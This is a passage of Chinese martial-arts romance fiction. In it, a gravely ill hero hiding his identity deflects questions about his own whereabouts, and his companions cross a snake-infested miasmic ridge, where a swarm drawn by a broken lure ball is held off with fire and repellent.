那时贺承在钟晓背上昏迷不醒,要深入山谷,抑或离开山谷,都在钟晓一念之间。他一心想将陆晓怜与“沈烛”拆开,鼓起勇气对不肯出谷的陆晓怜说,若是她不肯带着金波一同先行出谷,那他便背着“沈烛”出谷,什么神医,什么神药,通通不用找了,她既然不想跟“沈烛”分开,他能这样活几日,她便陪他几日吧。 这话并不算很重,可下一刻,陆晓怜已经抽出横秋,直接横在她自己脖子上…… 听到这里,一直淡然平静的贺承脸色一变,抵着胸口剧烈呛咳起来。他咳得眼中浮起血丝,身形摇摇欲坠,好不容易压下咳意,攀着钟晓的手,挣扎着抬头,气息不稳地同他又确认了一遍:“你的意思是,她以死相逼?” 钟晓冷哼:“是,你是不是很得意?我师姐都要为你豁出性命去!” 贺承惨白的唇抖了一下,喃喃道:“我没想到,没想到她会这样……” “你怎么没想到?”钟晓瞪他,“你蓄意接近,三天两头献殷勤,不就是为了这一天吗?你不是没想到,你是筹谋了许久才是!” 钟晓吵吵嚷嚷的声音在耳边渐渐虚化成一团迷蒙白雾,贺承只反复听见他说,陆晓怜为了不离开他,不惜要豁出自己的性命去。 南州城的那场相遇,并非他蓄意,可若是他想离开,陆晓怜和钟晓又岂能拦得住? 他屡次告诉自己,是因为放心不下他们两,才与他们一段又一段地同行。可他如今的身体又能护得住他们什么?若当真放心不下,请枕风楼派几个暗卫来跟着便是,这样跟他们搅和在一起,多得是情难自抑,多得是积习难改,不出事才怪。 所以,他对自己说的,都是借口,都是假话。 他心知自己没几日好活,再回不了青山城,再没有机会与师兄弟嬉闹,再没有机会与陆晓怜相守,在南州城里这一趟不期然的重逢,是天意对他最后的仁慈。 所以他舍不得松手。 所以他一次又一次地留了下来。 “沈烛!”钟晓提高声量,把走神的贺承喊了回来。 回过神来的贺承茫然看钟晓,觉得他脸色涨红,真真是一副要被气炸了的模样。 钟晓耐着性子把刚刚已经说过两遍的话,又重复了一遍:“你不是说有我师兄的消息吗?你认得我师兄?我怎么没听他提起过你的名字?他此刻在哪里?过得好不好?他为什么要离开青山城,又为什么连我和师姐都不肯联络?” 钟晓对沈烛的怨念有多重,对贺承的牵挂只会更重。连珠炮似的抛出一串问题来,将随口编了个故事钓鱼的贺渔夫打得措手不及。 搬起石头砸自己的脚,不过如此。 贺承定定看了钟晓一会,才挣扎着说:“其实我与你师兄之前也并不相熟,所以你们可能没有 听他提起过我。前一段机缘巧合地遇见了,他说,说他有要事在身走不开,托我替他来看看你们。” 这话其实漏洞百出,钟晓和陆晓怜去南州城是瞒着所有人偷偷溜出来的,贺承托人探他们的近况,怎么那么恰好就去了南州?这沈烛来便来了,为什么此前不说明来意,又为什么此刻要主动说明来意?他看便看了,又为什么不去告知贺承他们一切安好,反而要跟他们走了一段又一段? 好在贺承脑子快,钟晓发问前,他自己找补了上来:“你知道的,我仰慕陆姑娘多年,你师兄以此事相托,我自然是存了私心的。是陆姑娘心善,可怜我伤病缠身,多有照拂,我心里便有了些别的想法。” 钟晓抿着唇不说话,盯着他看,目光冰冷犹如审判。 贺承在他厌弃的目光中暗暗下了决心,如今他们一同被困在百花谷里,是没有办法,等到出了百花谷,他一定要狠下心离开。 在钟晓的目光里,贺承本人莫名其妙地生出一种本该属于“沈烛”的心虚:“你说得对,你师兄信任我,才将此事托付与我,陆姑娘心善,才会一路多加照拂,我不该心生妄念,我……” 他的话没有说完,忽听得洞口传来个声音打断:“所以,我师兄现在究竟好不好?” 第27章 第二十七章七步岭进此山者活不过七…… 洞口说话的,正是出去打水回来的陆晓怜。 她大概是捧着盛水的罐子一路跑回来的,此刻站在洞口,大口大口喘着粗气。她一步步朝贺承走来,将手里的水罐递给他,不依不饶地又问了一遍:“你遇见了我师兄?那你说,他现在究竟好不好?” 贺承做贼心虚的情绪在陆晓怜面前尤甚。他接过水罐,强作镇定地抿了一小口,许是罐子里的水太凉,许是他喝得太急,竟被那一小口冷水呛了一下,偏过头去呛咳起来,只咳得眼尾泛红,才勉强止住。 也亏得这一阵兵荒马乱的呛咳,山洞里的气氛生生缓和了几分。 陆晓怜没有再逼问他,只静静垂手站在一旁看他,乖乖巧巧等着她想要的那个答案。 她的目光温柔却坚定,正如贺承所认识的陆晓怜一样,被青山上下众星拱月般呵护出来的姑娘,足够柔顺,也足够坚韧。 他无法不回答她的问题,只能尽量语焉不详:“你的师兄大概是要比你以为的,要好一点。” “怎么说?”陆晓怜盯着贺承发白的唇,苦笑,“我以为的?我以为,他从青山城离开时便受着伤,这段时间在外面肯定又受尽冷眼,难道不是吗?” “看吧,我就说,你把他想得太惨了。” 陆晓怜不再说话,眼皮一掀,只瞪着一双圆溜溜、水汪汪的杏眼看他。 贺承坦坦荡荡地看着陆晓怜,继续说下去:“他当真没有那样惨。他从青山城离开时确实受了点伤,但他在江湖上朋友多,自有朋友扶持救治,我遇见他的时候,伤早已经好了大半,就是——”想起自己这副五劳七伤的身子,他有些心虚,顿了一下:“就是还需要静养一段时间。” “至于江湖上的那些话——”贺承望向陆晓怜的目光沉了沉,“他倒是不在意别人怎么说,可他知道,陆姑娘、钟晓兄弟、庄荣前辈,还有青山城的众多师兄弟都是信他的,他,他心里应该也不觉得那么难过才是。” 钟晓讷讷开口:“所以,你的意思是,师兄现在的处境并不坏?” 贺承瞟了陆晓怜一眼,点了点头,底气不足地应了声:“是。” “伤已经好了大半吗?处境不坏吗?那怎么——”陆晓怜不以为然,话说了一半,目光正与贺承撞到一起。她气势昂扬的质问,被无声的对望以柔克刚般压制了下去,她把最后半句话咽回去,重新开口,已经换了个问题,“那怎么他还不来找我?” 这个问题,不必陆晓怜开口,贺承已经问过自己许多遍。 他能不能去找陆晓怜?他要不要去找陆晓怜?他什么时候才能去找陆晓怜? 这半年多的时间里,他每隔一段时间,便要拿这些问题问自己一遍,每隔一段时间,便要在脑海中排演一遍他与陆晓怜的生离和死别。 为什么不去找陆晓怜? 关于这个问题的答案,真真假假,虚虚实实,在他的脑海中渐次浮现,他随手一够,便能捞起一个半真半假,恰到好处的答案递到陆晓怜面前。 他镇定自若,对答如流:“如我刚刚所言,他说他有事要办脱不开身。” 话到这里,贺承顿了一顿,意有所指般深深盯着陆晓怜看:“我猜想,他要办的事,大抵是有些凶险,不便露面的,否则也不至于连来探看陆姑娘的近况,都要让我这样一个不相干的代劳。” 听见话里提到“凶险”二字,钟晓登时警觉起来:“你是说,师兄有危险?” 贺承轻轻瞟了他一眼,又将目光移回来,还是紧紧盯着陆晓怜,仿佛后面说的话与钟晓全无关系,字字句句,都是讲给陆晓怜听的:“我也说不准,但大半年的时间过去,他都不肯露面,至少是与他要去办的事情相关。” “那他究竟要——” “我知道了。”钟晓还想再问,却被陆晓怜打断,“我不会再多问,请你替我告诉他,我一切都好,也请他多保重自己。” 聊到这里,洞外恰好响起渐近的脚步声和谈话声。很快,金波清脆明亮的声音从山洞外面传进来,空荡安静的山洞里,登时热闹了起来。 赵戎津他们满载而归,他自己拿绳子串了一串鲜鱼,齐越提着竹筐,筐子里歪歪斜斜地放了几株新挖的草药,与抱着一兜野果的金波并肩而行,兴致勃勃地聊着什么。 见贺承醒了,金波遥遥朝他挥挥手:“沈大哥,你醒啦!觉得怎么样?” 贺承笑着回应:“好多了,给大家添麻烦了。” 齐越放下竹筐,走到塌边来,按着贺承的手腕诊脉。沉默许久,他的神色越发凝重,半晌,摇头道:“要进到山谷深处,至少还有一日半的脚程,你——”他长长叹了口气:“也罢,不说这些了,你一会吃了药就赶紧歇下,养精蓄锐要紧。” 说罢,齐越起身去竹筐里翻药材,亲自守着火,熬出一碗浓浓的药汁给贺承灌下去,又为他施了一轮针,不让他跟任何人讨论事情,一脸严肃地盯着他睡过去。 许是齐越的药起了作用,后半夜,折磨了贺承几日的高热终于退了下去。钟晓松了口气,和一直陪他守着、不肯休息的陆晓怜,裹着衣裳和薄毯,在榻边安心睡去。 却不料,天亮时,两人是被齐越的叹气声吵醒的。 陆晓怜睁眼看见齐越坐在矮榻边摇头,心下便是一沉,她翻身而起:“怎么了?他的病情又有反复吗?”边问,她边伸手去摸贺承的额头,却没摸到与前几日一样的烫手温度,反而觉得他的身体触手微凉,体温像是比常人还要低凉几分。 “他已经不发热了呀?”陆晓怜不解地看着眉头紧锁的齐越。 齐越将贺承的手塞回薄毯中,摇头:“他不发热,并不是因为寒气已被祛除,风寒痊愈。而是因为——”他眉心一跳,看着目光殷殷的陆晓怜,有些不忍心:“而是因为他气血溃败,已无力与入体的寒邪相抗。” 钟晓听不懂齐越的话,只觉心里发慌:“什么意思?” “意思是,再找不到神医,他就要死啦!”赵戎津从山洞里挑拣了些之后可能用得上的东西塞进行李中。他已经收拾好了东西,晃晃荡荡地过来催促这边的人:“赶紧上路,早一刻找到神医,他便能多一分生机。” “戎哥!”齐越将艳色的唇咬得发白,犹豫着喊住赵戎津,因为心虚,声量有点低,“我,我想带他去百花潭试试。” 听到“百花潭”三个字,赵戎津想也没想,脸色一沉 ,脱口而出:“不行!之前你就是走小路硬闯百花潭,差点……” “那回是你不在!”齐越惯会拿捏赵戎津,几个字便将他哄高兴了,又继续说,“他拖着一身伤病能撑这么久,称得上是奇迹了。百花潭奇花异草众多,药泉治风寒又恰好对症,若去百花潭,兴许我可以一试。” 在齐越身上,赵戎津向来是吃软不吃硬,一揽齐越的肩膀:“我脚程快,你要什么草药,我去百花潭采回来,你们在这里等着。” 齐越不同意:“不可!你没穿过七步岭,万一在七步岭上出事怎么办?何况,纵使你能采回百花潭的药草,他的病症比你当时要严重许多,你要带回来多少药泉水才够用?” 赵戎津与齐越争执不下,话里话外的,陆晓怜也能大致听出来,贺承此刻命在旦夕,他们口中的百花潭药草和药泉是救他的关键,而要去百花潭,必须路过一个叫做“七步岭”的地方,凶险异常。 陆晓怜和钟晓进百花谷寻神医救贺承,是他们自己的决定,赵戎津和齐越愿意给带路,是他们心善,要他们二人冒险去采药,她是万万不能安心的。 念及此,陆晓怜大刀阔斧地做了决定,她和钟晓带着贺承,跟着齐越和赵戎津去百花潭,既然此去路途凶险,多几个人便能多些照应。至于金波,出巨石阵时,不愿意从岔道独自离开,便是铁了心要跟着他们,此时自然也是要同他们一起去百花潭。 齐越和赵戎津说的那条路,崎岖难行,甚至不能称之为路。他们深一脚浅一脚地踩过枯枝落叶相藉的山道,空荡寂静的山林里,尽是枝叶被踩碎的声响,陡峭处,几乎要将整个人贴到山石上,手脚并用地攀爬。 贺承病势沉重,依旧是由钟晓背着前行。 他病骨支离,钟晓背着他并不觉得有多吃力,只是山势陡峭,即便钟晓早有准备,用绳子将贺承固定在背上,还是时时担心昏睡中的人从自己背上滑下去,滚落山坡。 这样提心吊胆不知走了多久,钟晓觉察自己背上的人微弱地挣扎了一下,伏在自己肩头闷声咳嗽几声。他抽空回头看贺承,低声道:“你醒了。” 贺承摇头,他刚刚醒过来,声音低弱沙哑,语气里略有责备:“什么时候启程的,为什么不叫醒我?” 钟晓耸了耸肩膀冷笑:“那也得叫得醒啊。” 他们哪里是故意不肯叫醒贺承? 分明是启程时,贺承睡得昏沉,怎么叫都醒不过来。齐越问过,要不要拿银针刺他手指尖,硬生生将人叫醒过来?可陆晓怜不忍心,最终决定从山洞里翻出一根软绳来,将昏睡不醒的贺承裹上毯子,牢牢绑在钟晓背上。 贺承的无理取闹来得快去得也快,他大致也能猜到是自己醒不过来,钟晓和陆晓怜心肠都软,定然舍不得强行叫醒他,只能这样一路背着走。 真是优柔寡断! 他懒得跟钟晓纠缠这些,换了个问题:“让你帮我找的东西呢?” 这段路相对平坦,钟晓可以边走,边从衣袖上摘下别在那里的一枚缝衣针,塞进贺承手里,忍不住问:“你要缝衣针做什么?” “没什么,有备无患罢了,你好好看路。” 于是钟晓便不再多问,紧了紧绑缚着贺承的那根软绳,一声不吭地继续走。 谁知还没走出几步,钟晓便见走在最前的赵戎津和齐越停下来脚步。 赵戎津冲眼前树荫浓密的是山林抬了抬下巴:“走这条路进百花谷深处,其实路程更短,路上也没有什么机关,还能经过百花潭药泉,可我们几乎不从这里走,最主要的原因便是面前的这片树林。” 与陆晓怜并肩走在最后的金波快步往前走了几步,伸着脖子好奇地往那片树林望,问道:“这片树林怎么了?” 回答她的是齐越:“这就是七步岭。山林中多毒蛇毒虫,传说进入这片林子,很快便有蛇虫毒物近身,进山者七步之内便会中毒身亡,因此叫做七步岭。” 第28章 第二十八章出洞万物复苏,蛇虫出穴…… 与崎岖陡峭的来路相比,七步岭山势并不险峻,远远看去只是一片草木丰茂的缓坡。 七步岭高树林立,遮天蔽日,从山林里吹出来的风都是阴恻恻的。昏暗中,林间水汽氤氲成云雾缭绕期间,为山岭平添出几分妖异神秘。此时正是暮春初夏、鸟兽奔走活动的时节,但这样茂密的山林竟没有一声鸟鸣,显出一种诡异的死气。 一行人在山林外站定,赵戎津说:“七步岭凶险,当初阿越也是急着采药救我,才冒死走过一趟。即便是隆冬之时,他也还是受了很重的毒伤。” 隆冬时节,蛇虫蛰伏于洞穴之中,大多不会主动攻击人。 此刻端午已过,万物复苏,蛇虫出穴,这条路只会更难。 “上回是仓促成行,没有准备,这回有这些驱虫的草药,想必是会好些的。”齐越边给大家分用艾草和金银花熬煮的药水,边安慰大家,“而且翻过七步岭就是百花潭,那里药草繁多,你们只要能撑着一口气到那里,我便能救。” “我就说嘛,带着我们小齐大夫,便是带着一样宝贝。”赵戎津长臂搭过齐越的肩膀,凑到他眼前,笑嘻嘻地说,“是吧,宝贝!” 一天相处下来,大家都知道赵戎津爱开玩笑,尤其爱逗齐越,笑着附和说上几句夸奖或者感谢齐越的话。 偏偏齐越盯着赵戎津凑到眼前的那张棱角分明的脸,自己悄悄红了脸。他半笑不笑地抿了下嘴,推了赵戎津一把:“忙着呢,别闹!” 于是,赵戎津听话地松开他,笑嘻嘻地说:“行,你说不闹就不闹。” 所有人往身上洒过一层齐越熬煮的驱虫药水,便大步朝山林走去。 临近山林时,山风骤起,将缭绕山林间的雾气吹散几缕,飘荡到他们面前来,隐隐约约带出一股腐烂与腥气交杂的气味。越靠近山林,雾气越浓,那股说不清道不明的臭气也越重,直熏得人头脑发昏。 齐越以衣袖掩鼻,提醒大家:“这是瘴气,用衣物掩住口鼻,我们快些穿过去。” “等等!”一直像个摆件似的跟在队伍里不说话的金波突然出声。 她看山林外缭绕的那层浓稠得像牛乳般的浓雾,眉头越拧越紧。百花谷的气候比外面要暖和些,虽然谷外只是暮春,谷内却已是初夏,瘴气随着温度生发,此时的瘴气,已经比齐越上回穿越七步岭的隆冬时节,要厉害许多。 金波从腰间翻出水壶,躲着众人的视线,将指缝里的一点药粉弹进水壶里,举着水壶说道:“这么重的瘴气,得将布料多叠几层,拿水打湿了,才能挡得住。” 她边说,边撕下一角衣袖,叠了两叠,从水壶里倒出水来沾湿,两指夹着,恰好能掩住口鼻:“喏,就像这样。”示范完毕,她将水壶递给陆晓怜,解释道:“我家乡也有这种瘴气林,我们家乡的人要进山,都是这样做的。” 浓重的腥臭熏得人难受欲呕,无论金波的法子是否有效,终归聊胜于无。 陆晓怜接过水壶,从怀里掏出一方帕子,叠了两叠,沾了水,先转身递给伏在钟晓背上的贺承,接着想去撕钟晓的衣袖,却发现他为了便于行动,两只手腕都带了束袖。 钟晓的衣袖是撕不了了。 陆晓怜低头拎起自己的一角衣袖,正要用力一块布料给钟晓,忽然有一块帕子递到她眼前来。她顺着举着帕子的那只手抬眼看去,只见金波抓着头发,嘿嘿一笑:“晓怜姐姐,我也有帕子,用我的吧。” 有人撕衣袖,有人用手帕,金波的水壶转过一轮,人人手上都多了一方湿漉漉的布料,恰恰好掩住口鼻,快步穿过山林外的那层浓稠雾气。 可那瘴气,只是七步岭上险境的开端。 穿过瘴气,他们渐渐步入山林深处。 这里临近水源,树木茂密,树叶将阳光隔档在外,林中潮湿幽冷,昏暗迷蒙,若没有赵戎津手里的那方小小罗盘,只怕连方向都找不到。 他们的队伍依旧是赵戎津和齐越走在最前面打头领路,其后 是背着贺承的钟晓,落在最后面断后的,是陆晓怜和金波两个姑娘。 一行人脚步轻快,一个跟着一个,有条不紊地进行着。 早在深入山林前,赵戎津和齐越就交代过,七步岭情况不明,脚步务必快而轻,最好能速战速决,不惊动林子里的任何东西,迅速横穿七步岭。 然而这话说来轻巧,做来却不易。 他们一行有六个人,其中还有个病得七荤八素、行动不便的病人,要所有人从林子里一道全身而退,几乎是不可能的。 金波眼角余光飞掠而过,已经看见不止一条毒蛇吐着信子,暗中窥探,蓄势待发。 七步岭的这条路连赵戎津都不熟悉,他与齐越打起十二分精神走在最前面带路,分不出精力来管跟在后面的人。钟晓和陆晓怜半颗心关注着脚下的路,半颗心牵挂着命悬一线的贺承身,也顾不上金波。 于是,金波悄悄放慢脚步,落到队伍的最后去。 与其余五人拉开距离后,她从怀里摸出几颗婴儿拳头大小的暗红色球状物,每走出一段距离,便朝身后的密林草丛里丢出一颗。 那暗红色的小球一抛出,被他们惊动的蛇虫仿佛有人号令一般,不约而同地朝金波抛出的小球奔去,重重叠叠攀附在上面争斗撕咬,全然无暇顾及闯入它们家园的这几位不速之客。 它们的缠斗会在仅剩一条毒蛇或一只毒虫时停止。 金波抛出的小球便是胜利者的战利品。它会飞快咬破小球,将小球里的东西吸食干净,而后,或是离开,或是加入下一场战局。 因为金波跟在队伍最后,悄悄用她的小球引开蛇虫,这一路竟走顺利异常。 谁料路程过半,意外竟陡然发生。 金波一路偷偷摸摸往后丢暗红色的小球,正要丢下第五个小球时,队伍最前面的赵戎津不知为什么突然停下脚步转头往回看。 彼时,金波手里握着小球正要丢出去,因为赵戎津回过头来,心虚地将小球攥在手心里,稍稍迟疑的刹那之间,便有一条挂在树梢的小银环蛇循着味找过来,吐着信子猛然探出头,张大了嘴,灵活地飞身过来,叼走金波手里的小球。 它叼走小球便罢,金波并不会跟一条小蛇争论是非。 偏偏此刻,一只饥饿的蝙蝠扑棱着翅膀飞出来,骤然冲下来,死死制住小银环蛇七寸。那小蛇还想挣扎,翻滚扭动之间,衔在蛇口的小球被它吐了出来,可被蛇口挤压过的小球外层的蜂蜡已被损毁,它这一吐,便从被破损的小球里抖落出浅褐色的细粉,纷纷扬扬洒了金波一身。 小球之所以吸引蛇虫,主要便是靠着小球里的这些浅褐色细粉。 在金波的家乡,这种药粉被用在许多地方。她的师父还没有把制作这些药粉的法子教给她,她那时随手抓了几个师父做好的小球带在身上以备不时之需,没想到竟然搬起石头砸了自己的脚,此刻她顶着满头药粉,在四周的蛇虫眼里,就是个刚出锅的肉包子,热腾腾,香喷喷。 果然,草丛里,树枝间,接连响起窸窸窣窣的响动。 像是暴雨之前起了风,一阵一阵扫过,草木轻颤。 那风一阵猛过一阵,仿佛牵连得大地都开始震颤,窸窸窣窣的细响越来越密,越来越急,汇成万马奔腾之势,从四面八方聚拢过来,将金波他们团团包围—— 和小银环蛇一样,许多蛇虫被小球里的药粉吸引! 之前隔着那层蜡质的小球,药粉的气味时隐时现,对林子里的蛇虫吸引力有限,那些懒得动弹的家伙,既不会追逐小球,也不会袭击人,金波懒得理它们。但此刻,蜡质小球的外壳破裂,药粉倾泻而下,又被金波的体温一烘,药粉气味不受遮掩、不受阻拦地弥散开来,连那些原本不想动弹的懒家伙也惊动了。 光线太暗,距离太远,赵戎津回头时只能看见金波头顶上飞过一只叼着小蛇的蝙蝠,并看不见洒落下来的细碎粉末。可他耳尖微动,将树林里的动静听得分明,皱眉提醒大家:“当心,树林里有动静。” 黑沉沉的山林里,风雨欲来。 贺承也听见了树林里不同寻常的动静。他并没什么在蛇虫密布的山林里穿行的经验,可草丛里的声响如冬雷隆隆,他暗暗心惊,伏在钟晓肩头,避着陆晓怜,凑近他耳边说话:“你把我放下,护着大家走。” “不行!”钟晓道,“你现在这副模样,把你留在这里,就是死路一条。” 贺承压着嗓子说话,声音更低更沉,也更加不容置喙:“听我的。你们是为了我闯七步岭的,我横竖都是死路一条,不能再搭上你们。” 说话间,贺承已经伸手摸出腰间的短匕首,割开将自己与钟晓捆缚在一起的软绳。 钟晓不敢惊动草丛里的东西,更不敢惊动陆晓怜,压着声音低吼:“你要做什么?别乱来!我能带你闯出去!” 钟晓听见背上的人伏在自己肩头轻笑。 明明那笑声里透着孱弱无力,可那笑里的松弛散漫却莫名让他想起了他的师兄。 他记得,以前他因为练功没进展被师父责骂,而沮丧难当的时候,他师兄就常常这样笑,笑够了,就拍着他的肩膀哄他:“老头脾气不好,你别理他,他不肯好好教你,师兄带你练。” 许多年之后,恍惚之间,他好像听见他的师兄伏在他肩头,笑得风轻云淡:“我当然相信你能带我出去,可我要你去做更要紧的事情——” 贺承的话音未落,身后金波的惊叫声已经响起。 钟晓回头去看,只见黑压压的一片蛇虫铺天盖地地朝金波涌去,错愕之间,他背上一轻,贺承已经解开软绳,自他背上滑了下来。他抵着他的肩膀,将他往外推了一把:“走!别回头!” 第29章 第二十九章围困蛇虫环伺。 钟晓还没有回过神来,却听见齐越低呼一声:“赵戎津——”下一刻,便有一道身影擦着自己的肩膀掠过去,朝被蛇虫团团包围的金波飞奔去。 与钟晓擦身而过时,赵戎津也跟贺承一样,将他往安全的方向推了一把。 甚至于,他也给钟晓留了一句话:“带他们走!” 一时间,钟晓肩上担起两个人的安危。 受人之托,忠人之事,钟晓只迟疑了一瞬,咬牙背过身去,不去看与金波一同被蛇虫吞噬的贺承与赵戎津,一手拉着陆晓怜,一手拉着齐越,将这两个也想前赴后继扑入蛇虫群里的人,硬生生拉离这片是非之地。 陆晓怜和齐越当然是不愿意走的,陆晓怜一路挥掌相抗,试图从钟晓手里挣脱开来。她毕竟是女子,力气本就不如钟晓,又因为禀赋有限,内功一直没有进益,更不是钟晓的对手,钟晓横过手臂,轻巧挡下她的攻击,握在她手腕上的力道丝毫未减。 另外一边,齐越倒是不吵不闹,却在某一瞬间,瞅准机会,抬指点在钟晓手肘附近的一处穴位上,钟晓只觉手臂一阵酸麻无力,齐越就像一尾灵活的游鱼般,轻轻巧巧地从他手中脱开去。 “小齐大夫!”钟晓焦急,“危险,快回来!” 挣脱钟晓钳制往后走的那一刻,齐越便知道回头路是危险的,可赵戎津被困在那里,明知是万劫不复的险境,他也要去。他并不理会钟晓,只顾着争分夺秒地朝来处走去。 好在,钟晓手臂虽然酸麻无力,腿脚却还是便利的。 他垂着一条使不上力的胳膊追过去,抬腿在齐越脚下一绊,先是将人绊得身子一倾立即要摔倒下去,随后又立刻将长腿稳稳横在空中,将摇摇晃晃的人又推回去站稳了。 “小齐大夫,冷静一点。”不等齐越挣扎,钟晓先开了口,他的话不仅仅是对齐越说的,也是对陆晓怜说的,“你们都冷静一点,他们回去是为了救金姑娘,不是为了献身喂虫子!你们想想,现在回去,是能帮他们救人,还是会成为他们的拖累?” 答案当然很明显, 钟晓是明知故问。 只这一句话,试图挣脱桎梏的陆晓怜和齐越,一齐停了下来。 山林间的风里,有树叶的清新香气。 如果没有蛇虫飞舞、爬行时,窸窸窣窣的动静,如果没有蛇虫被人打落时,噼噼啪啪的动静,如果没有这些,如果这里只是一片普通的、静谧的树林,那它确实是一座很美的山岭。 齐越望着密密麻麻的蛇虫毒物,声音发颤:“这……要怎么救?” 顺着齐越的视线,钟晓和陆晓怜回头望去。 他们距离蛇虫发起攻击的地方其实并不远,但是仿佛林子里所有生物的注意力都被金波他们吸引,以至于陆晓怜他们这边闹出了这么大的动静,却没有吸引来一条毒蛇、一只毒虫。 回头望去,他们刚刚路过的地方已经被密密麻麻的蛇虫淹没,原本就透不进日光的山林间,像是升腾起一团黑压压的云,更是昏暗一片。 而贺承、赵戎津、金波的身影已经被那团黑云彻底吞没,难觅踪迹。 所幸毒蛇毒虫如潮水般涌上来,但他们都还活着。 多亏了陆晓怜心细,早上出发时给昏睡中的贺承裹了条毯子。 这条毯子如今成了他们三人的救命稻草。 贺承与赵戎津半蹲在地上,将毯子当做蚊帐般撑开抵挡蛇虫的攻击。金波把自己尽量缩成一个不占位置的小团子挤在他们两人之间,抖抖索索拆开腰间的水壶,先用里面剩余的水给自己洗了把脸,指望能冲淡脸上的药粉气味,然后开始从怀里往外掏东西。 赵戎津皱眉:“这是做什么?” “我的家乡蛇虫众多,这是能引开蛇虫的药球,丢在空地上,它们就不会爬到屋里来了。”金波数了一遍小布袋里暗红色小球的数量,有些发愁,“可是我只剩五个药球,外面的东西太多,不够用啊!” 金波的药球已经不够用,而他们用来防御蛇虫的盾牌只是一条毯子,几番冲撞之下,丝线崩断的声音不时传来,单薄脆弱的布料随时有被撕裂的风险。 贺承凑近些,透过布料间细小的缝隙,看了一眼那些面目狰狞的蛇虫,问金波:“这些东西呆在阴冷昏暗的地方,是不是怕火?” 金波摇头:“有些怕的,有些小虫子却不怕,不仅不怕,还会像飞蛾一样往火上扑。” “往火上扑?”听她这样说,赵戎津欢欢喜喜地打了个响指,“那就更好了!” 贺承知道赵戎津想做什么,在他掏出怀中的火折子时,便眼疾手快地一把夺过来,笑道:“是不错,我们来分个工。” 火折子尽数被夺,赵戎津也明白贺承的打算,当即皱眉:“不行,是我带你们进来的,我就得把你们全须全尾地带出去!” “可这已经是最好的办法了。” 贺承垂眼看手中的火折子,薄毯的遮蔽下,光线更暗。他盯着火折子看了片刻,抬眼看赵戎津,昏暗之中,他的眼眸如星光熠熠,他轻轻叹了口气,无奈低笑一声:“谁都想活下去,可是如果你想让我带着她冲出去——” 他顿了一下,边闷声咳嗽,边轻飘飘地看了金波一眼,声音轻飘,语气却肯定:“那我们一个也跑不了。” 赵戎津没有反驳,目睹过贺承这一路的羸弱,他不得不认可了贺承的说法。 他拧紧眉头沉默了片刻,说:“火折子和毯子都给你,再留一颗药球给你。你用火,将趋光的虫子往东引,金姑娘用药球,将其余的毒蛇毒虫往西引,我先护金姑娘出去,再回来接你。” “好。”贺承应了一声,偏过头去闷声咳嗽,又哑声补了一句,“若是一会你回头看见毯子烧起来,就不必回来了,护好活着的人,才更要紧。” 赵戎津不想听这些,深深看了贺承一眼,只固执又说了一遍:“你等我回来。” 贺承挑眉一笑:“我尽量。” 薄薄的一层毯子撑不住不计其数的毒蛇毒虫攻击,脱身之事宜快不宜迟。 按照已经商定的分工,贺承撕下衣摆,用火折子点燃了,掀起毯子的一角,将燃烧的布料丢出去。 隔着被蛇虫冲撞得越加脆弱的那层薄毯,隐隐能看见地上的枯枝败叶被燃烧的布料慢慢点起来,雀跃起几簇小小的火光。火光虽小虽弱,却也一面吸引了些扑火的飞虫过去,一面驱散了些畏光的毒虫离开,勉强减缓了毒蛇毒虫的袭击。 赵戎津用外袍勉强罩住金波和自己的头,低声命令:“趁现在,引开它们。” 金波二话不说,一口气将四颗药球往外丢出去。 不料,她掀开毯子的一角,伸手抛出药球,不仅没能引开多少毒蛇毒虫,倒将她身上沾染的药粉气味散出去了一些,反而激起蛇虫更猛烈的冲击,竟连之前被贺承用火引开的毒虫,都忍不住回头过来。 蛇虫攻势陡然迅猛,他们撑起的毯子的单薄脆弱处,可以看见毒蛇穿透进来的毒牙。 赵戎津迅速来回金波,将毯子边沿折在身下,用腿压实,问:“这是怎么回事?” 金波眉头紧锁:“不行,我走不了。” “什么意思?” “其实它们的目标是我。”金波有些懊恼,“我不小心弄破了药球,药粉撒在身上,它们闻着味道便来了。我刚刚用水冲洗过,可气味好像还是没有散干净。”小姑娘把嘴唇咬得发白,攒了很大的勇气,才说:“祸是我闯的,我来收场。我去引开它们,你们就能走……” 她话没说完,贺承和赵戎津已经不约而同伸手按住她的肩膀。 贺承说:“按你的说法,你们都是为了我才进来的,该收场的人是我才对。” 赵戎津说:“我刚刚就说了,你们是我带进来的,我一定会把你们完完整整带出去。” 三人相视一眼,再没人提起要把谁留下。 贺承侧头看赵戎津:“现在怎么办?这块破毯子撑不了多久了。” “那你还能撑多久?”赵戎津也看着贺承,“那些东西既然甩不掉,就只能弄死了。她最好是裹在毯子里别出去惹那些东西发疯,你呢,你能动得了吗?” “勉强能给你搭把手吧,打虫子倒是也不费什么力气。”事已至此,只能破釜沉舟,背水一战,贺承将不久前刚刚从他手里抢过来的火折子又还了回去,“毒虫细小,防不胜防,火攻看起来还是管用的。先解决天上的,再对付地上的,怎么样?” 赵戎津耸肩:“我是没意见,可是地上的毒蛇毒蝎子听我们的话吗?” 贺承不搭话,朝金波看了一眼,金波连忙献宝一般递上一小罐药粉:“这是驱蛇防虫的,很好用的。你们撒一些在身上,再撒一些在地上,虽然分量少,但应该也能逼退些胆子小的蛇虫!” 贺承和赵戎津依言往身上洒了薄薄的一层驱虫药粉,各自将毯子的一角递到金波手里,交代她把自己裹严实了,分头从毯子里钻出去。 他们从毯子里钻出来,趁着药粉气味最浓烈,药效最强的片刻,赵戎津飞身出去,在四周点了一圈火,顺便捡了几根趁手的树枝回来,而贺承将罐子里剩下的驱虫药粉绕着他们所在的地方,完完整整地撒了一圈。 对付飞虫,刀剑都使不上劲,赵戎津将自己的外袍撕成两半,分别系到两根树枝上,分了一根给贺承:“用这个。” 贺承会意,接过树枝,将空中的飞虫往火焰熊熊处驱赶。 七步岭上人迹罕至,地上层层叠叠的尽是枯败的枝叶,火势渐大,映得林中一片暖黄。火堆里炸出的噼里啪啦的声响渐渐密集,越来越多的毒虫扑进火焰里,空气中弥散开浓烈的焦糊味。 枯枝燃烧卷起滚滚黑烟,贺承被呛得忍不住咳嗽,一旁的赵戎津远远看了他一眼,边挥动树枝驱逐飞虫,边抽空问:“喂,你怎么样?还撑得住吗?” 贺承顾不上回应赵戎津。 他本就是虚弱的病人,强撑着一口气耗到此刻,眼前一阵黑一阵白,耳边嗡嗡作响,赵戎津的声音都像是蒙了一层水幕般飘渺。凭着本能驱逐开一 群翅膀乌黑、身体坚硬的飞虫,贺承有些脱力,摇摇晃晃地要向前扑倒下去。 赵戎津早就料到贺承已到强弩之末,飞身过来将人扶住,以免他直接扑进毒蛇堆里。 